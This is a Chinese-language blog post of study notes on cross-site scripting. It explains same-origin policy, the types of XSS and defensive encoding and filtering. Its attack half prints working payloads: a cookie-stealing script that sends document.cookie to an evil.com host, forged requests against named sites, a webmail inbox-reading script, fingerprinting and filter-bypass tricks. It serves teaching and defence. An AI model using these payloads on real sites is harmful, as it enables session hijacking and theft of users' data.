zoukankan      html  css  js  c++  java
  • XSS漏洞学习笔记

    浏览器安全

    同源策略 
    影响源的因素:host,子域名,端口,协议 
    a.com通过以下代码:

    <script scr=http://b.com/b.js>

    加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此相对于当前打开的页面(a.com)来说,b.js的源就应该是a.com而非b.com 
    不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。 
    XMLHttpRequest不能跨域访问资源。但是有跨域请求的需求,因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允许跨域访问,因此HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任“Javascript无法控制该HTTP头”,如果此信任基础被打破,则此方案也就不再安全。

    浏览器沙箱 
    每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。

    恶意网址拦截 
    浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类: 
    1、挂马网站,通常包含恶意的Javascript或Flash,通过利用浏览器的漏洞,执行shellcode,在电脑中植入木马 
    2、钓鱼网站:模仿知名网站的相似页面

    高速发展的浏览器安全

    跨站脚本攻击

    Cross Site Script,因为和CSS重名,所以改名XSS

    XSS简介

    通常指黑客通过“HTML注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫“跨站脚本”。但是发展到今天,由于Javascript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,这个名字保留了下来。 
    假设一个页面把用户输入的参数输出到页面上:

    1 <?php
    2 $input=$_GET["param"];
    3 echo "<div>".$input."</div>";
    4 ?>

    如果提交一段HTML代码:

    http://www.a.com/test.php?param=alert(/xss/)

    会发现alert(/xss/)被执行了。 
    XSS分为以下几类: 
    1)反射型XSS: 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS) 
    2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。 
    比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。 
    3)DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

    看如下代码:

    复制代码
    1 <script>
    2 function test(){
    3 var str=document.getElementById("text").value;
    4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
    5 }
    6 </script>
    7 <div id="t"></div>
    8 <input type="text" id="text" value="" />
    9 <input type="button" id="s" value="write" onlick="test()" />
    复制代码
     

    这段代码的作用就是点击write按钮后在当前页面插入一个链接。 
    构造如下数据:

    ’ onclick=alert(/xss/) //

    输入后,页面代码就成了

    testLink

    首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符//注释掉第二个单引号。 
    实际上,这里还有另外一种利用方式—除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:

    '><img scr=# onerror=alert(/xss2/) /><'

    页面代码编程

    <a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.

    XSS攻击进阶

    初探XSS Payload 
    XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能做到的事情,XSS Payload都能做到。 
    一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起”Cookie劫持”攻击。 
    Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不用通过密码,而直接登录进用户的账户。 
    如下所示,攻击者先加载一个远程脚本: 
    http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script> 
    真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。 
    在evil.js中,可以通过如下代码窃取Cookie:

    var img=document.createElement("img");
    img.src="http://www.evil.com/log?"+escape(document.cookie);
    document.body.appendChild(img);

    这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。 
    事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。 
    这样就完成了一个最简单的窃取Cookie的XSS Payload。 
    黑客可以用这个Cookie直接登录。 
    防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”,我们将在稍后的章节中在具体介绍。

    强大的XSS Payload 
    构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢? 
    假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下: 
    正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012 
    对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。 
    攻击者可以通过插入一张图片来发起一个get请求:

    var img=document.createElement("img");
    img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
    document.body.appendChild(img);

    攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。 
    再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢? 
    下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。

    复制代码
     1 var f=document.createElement("form");
     2 f.action="";
     3 f.method="post";
     4 document.body.appendChild(f);
     5 var i1=document.createElement("input");
     6 i1.name=" ck";
     7 i1.value=" JiuY";
     8 f.appendChild(i1);
     9 var i2=document.createElement("input");
    10 i2.name=" mb_text";
    11 i2.value="testtestseset";
    12 f.appendChild(i2);
    13 f.submit();
    复制代码

    如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:

    复制代码
    var dd=document.createElement("div");
    document.body.appendChild(dd);
    dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
    '<input type="hidden" name="ck" value="JiuY" />'+
    '<input type="hidden" name="mb_text" value="testetst" />' +
    '</form>'
    document.getElementById("xssform").submit();
    复制代码

    第二种方法是,通过XMLHttpRequest发送一个POST请求:

    复制代码
     1 var url = "http://www.douban.com";
     2 var postStr = "ck=JiuY&mb_text=test1234";
     3 var ajax = null;
     4 if (window.XMLHttpRequest) {
     5     ajax = new XMLHttpRequest();
     6 } else if (window.ActiveXObject) {
     7     ajax = new ActiveXObject("Microsoft.XMLHTTP");
     8 } else {
     9     return;
    10 }
    11 ajax.open("POST", url, true);
    12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    13 ajax.send(postStr);
    14 ajax.onreadystatechange = function() {
    15     if (ajax.readyState == 4 && ajax.status == 200) {
    16         alert("Done");
    17     }
    18 }
    复制代码

    通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.

    下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹: 
    首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求: 
    http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1 
    经过分析,真正能访问到邮件列表的链接是: 
    http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx… 
    这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。 
    所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:

    复制代码
     1 if (top.window.location.href.indexOf("sid=") > 0) {
     2     var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
     3 }
     4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
     5 var ajax = null;
     6 if (window.XMLHttpRequest) {
     7     ajax = new XMLHttpRequest();
     8 } else if (window.ActiveXObject) {
     9     ajax = new ActiveXObject("Microsoft.XMLHTTP");
    10 } else {
    11     return;
    12 }
    13 ajax.open("GET", folder_url, true);
    14 ajax.send(null);
    15 ajax.onreadystatechange = function() {
    16     if (ajax.readyState == 4 && ajax.status == 200) {
    17         alert(ajax.responseText);
    18         //document.write(ajax.responseText);
    19     }
    20 }
    复制代码

    邮件列表的内容成功被XSS Payload获取到。

    钓鱼: 
    XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。 
    对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload 
    从而绕过验证码。 
    修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与”钓鱼”结合。 
    实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

    识别用户浏览器: 
    navigator.userAgent 
    但是userAgent是可以伪造的。这个信息不一定准确。 
    由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。 
    参考:

    复制代码
     1 if (window.ActiveObject) {
     2     //MSIE 6.0 or below
     3     //判断是否IE 7以上
     4     if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
     5         if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
     6             //MSIE 8.0
     7         }
     8         //MSIE 7.0
     9     }
    10     return "msie"; //MSIE6.0
    11 } else if {
    12     typeof window.opera != "undefined") { //Opera独占
    13         return "opera";
    14     } else if (typeof window.netscape != "undefined") { //Mozilla独占
    15         if (typeof window.Iterator != "undefined") {
    16             //Firefox 2.0以上支持这个对象
    17             if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
    18                 //Firefox 3
    19             }
    20             //Firefox 2.0
    21         }
    22         return "mozilla";
    23     } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
    24         try {
    25             if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
    26                 return "Chrome";
    27             }
    28         } catch(e) {
    29             return "safari";
    30         }
    31     } else { //unknown
    32         return "unknown";
    33     }
    复制代码

    识别用户安装的软件: 
    在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到 
    入木马的目的。 
    看如下代码:

    复制代码
    try {
      var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
    } catch (e){
      //异常了,不存在该控件
    }
    复制代码

    通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。 
    一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。 
    在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。 
    浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。 
    Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件: 
    所以直接查询”navigator.plugins”对象,就能找到所有的插件了。例如 navigator.plugins[0] 
    而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。 
    在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问: 
    chrome://flashgot/skin/icon32.png 
    扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在

    复制代码
    1 var m = new Image();
    2 m.onload = function() {
    3     alert(1); //图片存在
    4 };
    5 m.onerror = function() {
    6     alert(2); //图片不存在
    7 };
    8 m.src = "chrome://flashgot/skin/icon32.png"; //连接图片
    复制代码

    CSS History Hack: 
    我们再看看另外一个有趣的XSS Payload—通过CSS,来发现一个用户曾经访问过的网站。 
    原理是利用style的visited桑性—如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。

    复制代码
     1 < script >
     2 var websites = [...要检测的访问过的网址列表,可能有几千个...];
     3 //遍历每个URL
     4 for (var i = 0; i < websites.length: i++) {
     5     var link = document.createElement("a");
     6     link.id = "id" + i;
     7     link.href = websites[i];
     8     link.innerHTML = websites[i];
     9     document.write('<style>');
    10     document.write('#id' + i + ":visited {color:#FF0000;}");
    11     document.write('</style>');
    12     document.body.appendChild(link);
    13     var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
    14     document.body.removeChild(link);
    15     if (color == "rgb(255,0,0)") { //visited
    16         var item = document.createElement('li');
    17         item.appendChild(link);
    18         document.getElementById('visited').appendChild(item);
    19     } else { //Not visited
    20         var item = document.createElement('li');
    21         item.appendChild(link);
    22         document.getElementById('notvisited').appendChild(item);
    23     }
    24 } < /script>/
    复制代码

    但是Firefox已经决定修补这个问题

    获取用户的真实IP地址: 
    很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。 
    javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。 
    在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:

    复制代码
    1 AttackAPI.dom.getInternalIP = function() {
    2     try {
    3         var sock = new java.net.Socket();
    4         sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
    5         sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
    6         return sock.getLocalAddress().getHostAddress();
    7     } catch(e) {}
    8     return '127.0.0.1';
    9 };
    复制代码
    此外,还有两个利用Java获取本地网络信息的API

    XSS攻击平台:

    XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。 
    Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。 
    BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。 
    XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。 
    这些XSS攻击平台有助于深入理解XSS的原理和危害。

    终极武器:XSS Worm

    Samy Worm: 
    2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。 
    MySpace过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等”安全的标签”.并过滤了所有的事件,例如”onclick”。但是MySpace却允许用户控制标签的Style属性,通 
    style,还是有办法构造出XSS的。比如:

    <div style="background:url('javascript:alert(1)')">

    其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。 
    最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。 
    具体代码太长。。。 
    但是发起XSS Worm攻击是有一定的条件的: 
    一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。 
    比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置”页面,因为缺乏用户之间互动的功能 
    所以即使存在XSS,也不能被用于XSS Worm的传播。

    百度空间蠕虫: 
    调试Javascript: 
    要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。 
    Firebug …

    XSS构造技巧

    利用字符编码: 
    “百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号: 
    var redirectUrl="";alert(/xss/);"; 
    一般来说,这里是没有XSS漏洞的,因为变量处于双引号之内,系统转义了双引号导致变量无法escape。 
    但是百度的返回页面是GBK/GB2312编码的,因此”%c1”这两个字符组合在一起后,会成为一个Unicode字符。在Firefox下会认为这是一个字符,所以构造: 
    %c1";alert(/xss/);// 
    并提交: 
    var rediretUrl="?";alert(2);//"; 
    这两个字节:"%c1"组成了一个新的Unicode字符,%c1把转义符""给”吃掉了”,从而绕过了系统的安全检查,成功地实施了XSS攻击。

    绕过长度限制: 
    很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的。 
    假设下面代码存在一个XSS漏洞: 
    <input type=text value="$var" /> 
    服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS: 
    $var为 "><script>alert(/xss/)</script> 
    希望达到的输出效果是: 
    <input type=text value=""><script>alert(/xss/)</script>" /> 
    假设长度限制为20个字节,则这段XSS会被切割为: 
    $var输出为: "><script>alert(/xss 
    连一个完整的函数都无法写完。 
    攻击者可以利用时间(Event)来缩短所需要的字节数: 
    $var输出为"onclick=alert(1)// 
    加上空格符,刚好够20个字节 
    但利用“事件”能够缩短的字节数是有限的。最好的办法是先把XSS Payload写在别处,再通过简短的代码加载这段XSS Payload。 
    最常用的一个“藏代码”的地方,就是“location.hash”。而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而 
    更好地隐藏了黑客真实的意图。 
    $var输出为onclick="eval(location.hash.substr(1))" 
    总共40个字节。输出后的HTML是: 
    <input type=text value="" onclick="eval(location.hash.substr(1)) " /> 
    因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL为: 
    http://www.a.com/test.html#alert(1) 
    用户点击文本框时,location.hash里的代码就执行了. 
    location.hash本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来 
    更多的代码。 
    在某些环境下,可以利用注释符绕过长度限制。 
    比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“,把两个文本框之间的HTML代码全注释掉,从而”打通“两个<input>标签。

    <input id=1 type="text" value="" />
    xxxxx
    <input id=2 type="text" value="" />

    在第一个input框中,输入:"><!-- 
    在第二个input框中,输入:--><script>alert(/xss/);</script>

    最终的效果是:

    <input id=1 type="text" value=""><!-- />
    xxxxx
    <input id=2 type="text" value="--><script>alert(/xss/);</script>" />

    中间的代码前部被<!-- -->注释掉了。

    使用<base>标签: 
    <base>标签是定义所有使用”相对路径”标签的hosting地址 
    例如:

    <body>
    <base href="http://www/google.com" />
    <img scr="/int1/...png" />
    </body>

    需要注意的是<base>标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。 
    攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:

    <base href="http://www.evil.com" />
    ...
    <script src="http://cracer.com/blog/x.js">
    ...
    <img scr="y.jpg" />
    ...
    <a href="http://cracer.com/blog/auth.do"> auth</a>

    所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。

    window.name的妙用: 
    window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同 
    策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。 
    参考以下案例: 
    www.a.com/test.html的代码为:

    复制代码
    <body>
    <script>
    window.name="test";
    alert(document.domain+" "+window.name);
    window.location="http://www.b.com/test1.html";
    </script>
    </body>
    复制代码

    这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。 
    www.b.com/test1.html的代码为:

    复制代码
    <body>
    <script>
    alert(document.domain+" "+window.name);
    </script>
    </body>
    复制代码

    这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com 
    使用window.name可以缩短XSS Payload的长度,如下所示:

    <script>
    window.name="alert(document.cookie)";
    location.href="http://www.xssedsite.com/xssed.php";
    </script>

    在统一窗口打开XSS的站点后,只需通过XSS执行以下代码即可: 
    eval(name); 
    只有11个字节,短到了极点。 
    这个技巧为安全研究者luoluo发现,同时他还整理了很多绕过XSS长度限制的技巧。

    变废为宝:Mission Impossible 
    从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己,属于”鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的 
    洞,都被人找到了利用方法: 
    a)Apache Expect Header XSS: 
    b)Anehta的回旋镖:

    容易被忽视的角落:Flash XSS 
    前面降到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。 
    在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写: 
    getURL(“javascript:alert(document.cookie)”) 
    ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。 
    由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。 
    嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。 
    Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。

    真的高枕无忧吗?Javascript开发框架 
    jQuery本身出现的漏洞较少,但是开发者的意识才是安全编码的关键。 
    例如$(‘div.demo-container’).html(“”); 
    如果用户可控制输入,那么XSS产生是必然的。

    XSS的防御

    HttpOnly

    浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。 
    C#中设置HttpOnly的方法: 
    HttpCookie myCookie=new HttpCookie(“myCookie”); 
    myCookie.HttpOnly=true; 
    Response.AppendCookie(myCookie);

    输入检查

    常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。 
    例如,用户名可能会被要求只能为字母、数字的组合。 
    输入检查的逻辑应该放在服务器端,否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。 
    在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如< > ’ “等。如果发现,则将这些字符过滤掉或编码。 
    比较智能的还会检查<script> javascript等敏感字符,网上有很多XSS Filter资源。但因为XSS Filter对语境不了解,有时不能检查出XSS攻击。

    输出检查

    一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或者转移的方式来防御XSS攻击。

    安全的编码函数: 
    针对HTML代码的编码方式是HtmlEncode。 
    HtmlEncode并非专用名词,它只是一种函数体现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。 
    对了对抗XSS,在HtmlEncode中至少要转换以下字符: 
    & => &amp; < =>&lt; > " ' / 
    相应地,Javascript的编码方式可以使用JavascriptEncode。 
    JavascriptEncode与HtmlEncode的编码方法不同,他需要使用对特殊字符进行转义。在对抗CSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法: 
    var x=escapeJavascript($evil); 
    var y='"'+escapeJavascript($evil)+'"'; 
    如果escapeJavascript函数只转义了几个危险字符,比如’ ” < > & #等,那么上面的两行代码输出后可能变成: 
    var x=1;alert(2); 
    var y="1;alert(2)"; 
    所以要求使用JavascriptEncode的变量输出一定要在引号内。 
    可视很多开发者没有这个习惯怎么办?这将只能使用一个更加严格的JavascriptEncode函数–除了数字、字母外的所有字符,都使用十六进制”xHH”的方式进行编码。在本例中: 
    var x=1;alert(2); 
    变成了: 
    var x=1x3balertx282x29; 
    如此代码可以保证是安全的。

    只需一种编码吗? 
    XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模版系统中解决。 
    不是使用了auto-escape就万事大吉了,XSS的防御需要区分情况对待。

    正确地防御XSS

    XSS的本质还是一种”HTML注入”。 
    想要根治XSS,可以列出所有XSS可能发生的场景,在一一解决。

    在HTML标签中输出:如

    <div>$var</div>
    <a href=# >$var</a>

    这样可以构造出:

    <div><script>alert(/xss/)</script></div>
    <a href=#><img scr=# onerror=alert(1) /></a>

    防御方法是对变量使用HtmlEncode。

    在HTML属性中输出:如

    <div id="abc" name="$var" ></div>

    可以构造出:

    <div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

    防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外,其他所有的字符都被编码成HTMLEntities。 
    String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")]; 
    这种严格的编码方式,可以保证不会出现任何安全问题。

    在<script>标签中输出:如

    <script>
    var x="$var";
    </script>

    可以构造出:

    <script>
    var x="";alert(/xss/);//";
    </script>

    防御时也是使用JavascriptEncode

    在事件中输出:如 
    <a href=# onclick="funcA('$var')" >test</a> 
    可以构造出: 
    <a href=# onclick="funcA('');alert(/xss/);//')" >test</a> 
    在防御时需要使用JavascriptEncode

    在CSS中输出: 
    在CSS和style、style attribute中形成的XSS的方式非常多样化,参考下面几个XSS的例子。

    <STYLE>@import 'http://ha.ckers.org/xss.css';
    <STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
    <XSS STYLE="behavior:url(xss.htc);">
    <STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
    <DIV STYLE="background-image:url(javascript:alert('XSS'))">
    <DIV STYLE="width:expression(alert('XSS'));">

    所以一般来说,尽可能地禁止用户可控制的变量在”<style>标签”、”HTML标签的style属性”以及”CSS文件”中输出。如果一定有这样的需求,推荐使用OWASP ESAPI中的encodeForCSS() 
    数。类似于ESAPI.encoder().encodeForJavaScript()函数。

    在地址中输出: 
    在地址中输出也较为复杂。一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。 
    例如: 
    <a href="http://www.evil.com/?test=$var" >test</a> 
    可能的攻击办法: 
    <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a> 
    经过URLEncode后就可以防御。 
    但是还有一种情况,就是整个URL都能够被用户完全控制。这时URL的协议和Host部分是不能够使用URLEncode的,否则会改变URL的语义。 
    一个URL的组成如下: 
    [Protocol][host][Path][search][Hash] 
    如 
    http://www.evil.com/a/b/c/test?abc=123#ssss 
    protocol="http://" 
    host=www.evil.com 
    search="?abc=123" 
    hash=#ssss 
    在Protocol和host中,如果使用严格的URLEncode函数,则会把”://“、”.“等都编码掉。 
    对于如下的输出方式: 
    <a href="http://cracer.com/blog/$var" >test</a> 
    攻击者可能会构造: 
    <a href="javascript:alert(1);">test</a> 
    除了“JavaScript作为伪协议可以执行代码外,还有VBScript、dataURI等伪协议可能导致脚本执行。 
    由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多,如何解决这种情况呢? 
    一般来说,如果变量是整个URl,则应该首先检查变量是否是以Http开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。 
    在此之后再对变量进行URLEncode,即可保证不会有此类的XSS发生了。 
    OWASP ESAPI中有一个URLEncode的实现: 
    ESAPI.encoder().encodeForURL

    处理富文本

    有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTM 
    代码来实现。 
    如何区分安全的“富文本”和有攻击性的XSS呢? 
    在处理富文本时,还是要回到”输入检查”的思路上来。”输入检查“的主要功能是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不 
    拼凑到某个标签的属性中。因此可以特殊情况特殊处理。 
    在上一节中,列出了所有在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“,也应该能够找出HTML代码中所有可能执行脚本的地方。 
    HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。 
    在过滤富文本时,”事件“应该被严格禁止,因为”富文本“的展示需求里不应该包括”事件“这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁 
    的。 
    在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较”安全“的标签存在。 
    ”白名单“原则不仅仅用于标签的选择,同样应该用于属性与事件的选择。 
    在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义的CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与Style。 
    如果一定要允许用户自定义样式,则只能像过滤”富文本“一样过滤”CSS“。这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。 
    有一些比较成熟的开源项目,实现了对富文本的XSS检查。 
    Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到.NET等语言。

    防御DOM Based XSS

    DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待。 
    DOM Based XSS是如何形成的呢?回头看看这个例子:

    复制代码
    <script>
    function test(){
    var str=document.getElementById("text").value;
    document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
    }
    </script>
    <div id="t"></div>
    <input type="text" id="text" value="" />
    <input type="button" id="s" value="write" oncick="test()" />
    复制代码

    在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是: 
    document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 
    将HTML代码写入了DOM节点,最后导致了XSS的发生。 
    事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对”从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。 
    看看下面这个例子:

    1
    2
    3
    4
    <script>
    var x="$var";
    document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>");
    </script>

